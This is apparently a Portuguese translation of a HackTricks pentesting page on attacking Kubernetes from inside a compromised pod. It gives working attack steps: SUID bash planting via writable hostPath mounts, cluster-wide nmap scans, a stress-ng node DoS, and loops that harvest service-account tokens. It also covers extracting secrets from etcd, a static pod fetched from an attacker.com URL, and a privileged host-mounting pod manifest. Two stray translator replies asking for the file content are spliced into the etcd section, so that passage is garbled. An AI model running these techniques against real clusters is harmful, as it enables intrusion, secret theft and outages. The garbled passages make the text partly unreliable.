Atacando Kubernetes de dentro de um Pod
Reading time: 19 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Pod Breakout
Se você tiver sorte, pode conseguir escapar dele para o node:

Escapando do pod
Para tentar escapar dos pods você pode precisar primeiro escalate privileges, algumas técnicas para isso:
Linux Privilege Escalation - HackTricks
Você pode checar estes docker breakouts to try to escape de um pod que você comprometeu:
Docker Breakout / Privilege Escalation - HackTricks
Abusando de hostPath/bind mounts graváveis (container -> host root via SUID planting)
Se um pod/container comprometido tiver um volume gravável que mapeie diretamente para o host filesystem (Kubernetes hostPath ou Docker bind mount), e você puder se tornar root dentro do container, você pode aproveitar o mount para criar um binário setuid-root no host e então executá-lo a partir do host para obter root.
Condições chave:
- O volume montado é gravável de dentro do container (readOnly: false e filesystem permissions permitem escrita).
- O filesystem do host que dá suporte ao mount não está montado com a opção nosuid.
- Você tem alguma forma de executar o binário plantado no host (por exemplo, SSH/RCE separado no host, um usuário no host pode executá-lo, ou outro vetor que rode binários daquele caminho).
Como identificar hostPath/bind mounts graváveis:
- Com kubectl, verifique volumes hostPath: kubectl get pod
-o jsonpath='{.spec.volumes[*].hostPath.path}' - De dentro do container, liste mounts e procure por host-path mounts e teste a possibilidade de escrita:
# Inside the compromised container
mount | column -t
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
findmnt -T / 2>/dev/null | sed -n '1,200p'
# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"
Implantar um setuid root binary a partir do container:
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
Execute no host para obter root:
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
Notas e solução de problemas:
- Se o host mount tiver nosuid, os setuid bits serão ignorados. Verifique as opções de montagem no host (cat /proc/mounts | grep
) e procure por nosuid. - Se você não conseguir obter um caminho de execução no host, montagens graváveis similares podem ser abusadas para gravar outros artefatos de persistence/priv-esc no host se o diretório mapeado for crítico para a segurança (por exemplo, adicionar uma root SSH key se o mount mapear para /root/.ssh, dropar uma unidade cron/systemd se mapear para /etc, substituir um binário owned by root no PATH que o host irá executar, etc.). A viabilidade depende inteiramente de qual caminho está montado.
- Esta técnica também funciona com Docker bind mounts simples; no Kubernetes normalmente é um hostPath volume (readOnly: false) ou um subPath com escopo incorreto.
Abusando de privilégios no Kubernetes
As explicado na seção sobre kubernetes enumeration:
Normalmente os pods são executados com um service account token dentro deles. Essa service account pode ter alguns privilégios associados que você poderia abusar para se mover para outros pods ou até escapar para os nodes configurados dentro do cluster. Veja como em:
Abusing Roles/ClusterRoles in Kubernetes
Abusando de privilégios na nuvem
Se o pod estiver rodando dentro de um cloud environment você pode ser capaz de leak um token do metadata endpoint e escalar privilégios usando-o.
Procurar serviços de rede vulneráveis
Como você está dentro do ambiente Kubernetes, se não conseguir escalar privilégios abusando dos privilégios atuais dos pods e não conseguir escapar do container, você deve procurar por serviços potencialmente vulneráveis.
Serviços
Para isso, você pode tentar obter todos os serviços do ambiente Kubernetes:
kubectl get svc --all-namespaces
Por padrão, Kubernetes usa um esquema de rede plano, o que significa que qualquer pod/service dentro do cluster pode se comunicar com outros. Os namespaces dentro do cluster não têm nenhuma restrição de segurança de rede por padrão. Qualquer entidade no namespace pode se comunicar com outros namespaces.
Varredura
O seguinte script Bash (retirado de um Kubernetes workshop) irá instalar e escanear as faixas de IP do kubernetes cluster:
sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}
nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
Confira a seguinte página para aprender como você poderia attack Kubernetes specific services para compromise other pods/all the environment:
Pentesting Kubernetes Services
Sniffing
Caso o compromised pod is running some sensitive service onde outros pods precisam se autenticar, você pode ser capaz de obter as credenciais enviadas pelos outros pods sniffing local communications.
Network Spoofing
Por padrão, técnicas como ARP spoofing (e, graças a isso, DNS Spoofing) funcionam na rede do kubernetes. Então, dentro de um pod, se você tiver a NET_RAW capability (que está presente por padrão), você poderá enviar pacotes de rede customizados e realizar MitM attacks via ARP Spoofing to all the pods running in the same node.
Além disso, se o malicious pod estiver em execução no same node as the DNS Server, você poderá realizar uma DNS Spoofing attack to all the pods in cluster.
Node DoS
Não há especificação de recursos nos manifests do Kubernetes e faixas de not applied limit para os containers. Como atacante, podemos consume all the resources where the pod/deployment running e esgotar outros recursos, causando um DoS para o ambiente.
This can be done with a tool such as stress-ng:
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
Você pode ver a diferença entre quando stress-ng está em execução e depois.
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
Pós-exploração do Nó
Se você conseguiu escapar do container há algumas coisas interessantes que encontrará no nó:
- O processo Container Runtime (Docker)
- Mais pods/containers rodando no nó que você pode abusar como este (mais tokens)
- Todo o sistema de arquivos e o SO em geral
- O serviço Kube-Proxy escutando
- O serviço Kubelet escutando. Verificar arquivos de configuração:
- Diretório:
/var/lib/kubelet/ /var/lib/kubelet/kubeconfig/var/lib/kubelet/kubelet.conf/var/lib/kubelet/config.yaml/var/lib/kubelet/kubeadm-flags.env/etc/kubernetes/kubelet-kubeconfig/etc/kubernetes/admin.conf-->kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system- Outros arquivos comuns do kubernetes:
$HOME/.kube/config- Config de Usuário/etc/kubernetes/kubelet.conf- Config Regular/etc/kubernetes/bootstrap-kubelet.conf- Config de Bootstrap/etc/kubernetes/manifests/etcd.yaml- Configuração do etcd/etc/kubernetes/pki- Chave do Kubernetes
Encontrar kubeconfig do nó
Se você não conseguir encontrar o arquivo kubeconfig em um dos caminhos comentados anteriormente, verifique o argumento --kubeconfig do processo kubelet:
ps -ef | grep kubelet
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
Roubar segredos
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done
O script can-they.sh irá automaticamente obter os tokens de outros pods e verificar se eles têm a permissão que você está procurando (em vez de você verificar um por um):
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
DaemonSets privilegiados
Um DaemonSet é um pod que será executado em todos os nós do cluster. Portanto, se um DaemonSet estiver configurado com uma privileged service account, em TODOS os nós você poderá encontrar o token dessa privileged service account que poderá abusar.
O exploit é o mesmo que na seção anterior, mas agora você não depende da sorte.
Pivot to Cloud
Se o cluster for gerenciado por um serviço de cloud, normalmente o Node terá um acesso diferente ao metadata endpoint do que o Pod. Portanto, tente acessar o metadata endpoint a partir do node (ou de um pod com hostNetwork definido como True):
Roubar etcd
Se você puder especificar o nodeName do Node que executará o container, obtenha um shell dentro de um control-plane node e recupere a etcd database:
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
control-plane nodes have the função master and in clusters gerenciados na nuvem você não poderá executar nada neles.
Ler secrets do etcd 1
Se você pode executar seu pod em um nó de control-plane usando o seletor nodeName na spec do pod, pode ter acesso fácil ao banco de dados etcd, que contém toda a configuração do cluster, incluindo todos os secrets.
Below is a quick and dirty way to grab secrets from etcd if it is running on the control-plane node you are on. If you want a more elegant solution that spins up a pod with the etcd client utility etcdctl and uses the control-plane node's credentials to connect to etcd wherever it is running, check out this example manifest from @mauilion.
Verifique se o etcd está em execução no nó do control-plane e veja onde o banco de dados está (Isto é em um cluster criado com kubeadm)
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
Não recebi o conteúdo do arquivo. Por favor, cole aqui o conteúdo de src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md que você quer traduzir para português. Observação: seguirei suas instruções — não vou traduzir código, nomes técnicos, tags, links ou paths e manterei a mesma sintaxe markdown/html.
data-dir=/var/lib/etcd
Visualizar os dados no banco de dados etcd:
strings /var/lib/etcd/member/snap/db | less
Extraia os tokens do banco de dados e mostre o nome da service account
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
Mesmo comando, mas com alguns greps para retornar apenas o default token no namespace kube-system
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
Não recebi o conteúdo a ser traduzido. Por favor cole o texto (ou confirme que quer que eu traduza todo o arquivo src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md) e eu farei a tradução para Português mantendo a mesma sintaxe Markdown/HTML conforme solicitado.
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
Ler secrets do etcd 2 from here
- Crie um snapshot do banco de dados
etcd. Consulte this script para mais informações. - Transfira o snapshot do
etcdpara fora do node da sua forma preferida. - Descompacte o banco de dados:
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
- Inicie
etcdna sua máquina local e faça com que use o snapshot roubado:
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
- Liste todos os secrets:
etcdctl get "" --prefix --keys-only | grep secret
- Obter os segredos:
etcdctl get /registry/secrets/default/my-secret
Persistência de Static/Mirrored Pods
Static Pods são gerenciados diretamente pelo daemon kubelet em um nó específico, sem que o API server os observe. Ao contrário dos Pods gerenciados pelo control plane (por exemplo, um Deployment); em vez disso, o kubelet watches each static Pod (e o reinicia se falhar).
Portanto, static Pods estão sempre bound to one Kubelet em um nó específico.
O kubelet automaticamente tenta criar um mirror Pod no Kubernetes API server para cada static Pod. Isso significa que os Pods em execução em um nó ficam visíveis no API server, mas não podem ser controlados a partir dele. Os nomes dos Pods terão um sufixo com o hostname do nó precedido por um hífen.
caution
The spec of a static Pod cannot refer to other API objects (e.g., ServiceAccount, ConfigMap, Secret, etc. Portanto, você não pode abusar desse comportamento para lançar um pod com um serviceAccount arbitrário no nó atual para comprometer o cluster. Mas você pode usar isso para executar pods em namespaces diferentes (caso isso seja útil por algum motivo).
Se você estiver dentro do host do nó, pode fazê-lo criar um static pod dentro de si mesmo. Isso é bastante útil porque pode permitir que você crie um pod em um namespace diferente como kube-system.
Para criar um static pod, os docs are a great help. Basicamente você precisa de 2 coisas:
- Configure o parâmetro
--pod-manifest-path=/etc/kubernetes/manifestsno kubelet service, ou no kubelet config (staticPodPath) e reinicie o serviço - Crie a definição do pod em
/etc/kubernetes/manifests
Outra forma mais furtiva seria:
- Modificar o parâmetro
staticPodURLno arquivo de configuração do kubelet e definir algo comostaticPodURL: http://attacker.com:8765/pod.yaml. Isso fará com que o processo kubelet crie um static pod obtendo a configuração a partir da URL indicada.
Exemplo de pod de configuração para criar um pod privilegiado em kube-system retirado de here:
apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory
Delete pods + unschedulable nodes
Se um atacante tiver compromised a node e conseguir delete pods de outros nodes e make other nodes not able to execute pods, os pods serão reiniciados no node comprometido e ele poderá steal the tokens executados neles.
Para more info follow this links.
Ferramentas Automáticas
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[] Run a shell command [shell <command and arguments>]
[exit] Exit Peirates
Referências
- Forgotten (HTB) - Writable bind mount SUID planting
- Kubernetes hostPath volume
- Docker bind mounts
- Bash -p (preservar privilégios)
- mount(8) opção nosuid
- Peirates (Kubernetes attack tool)
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud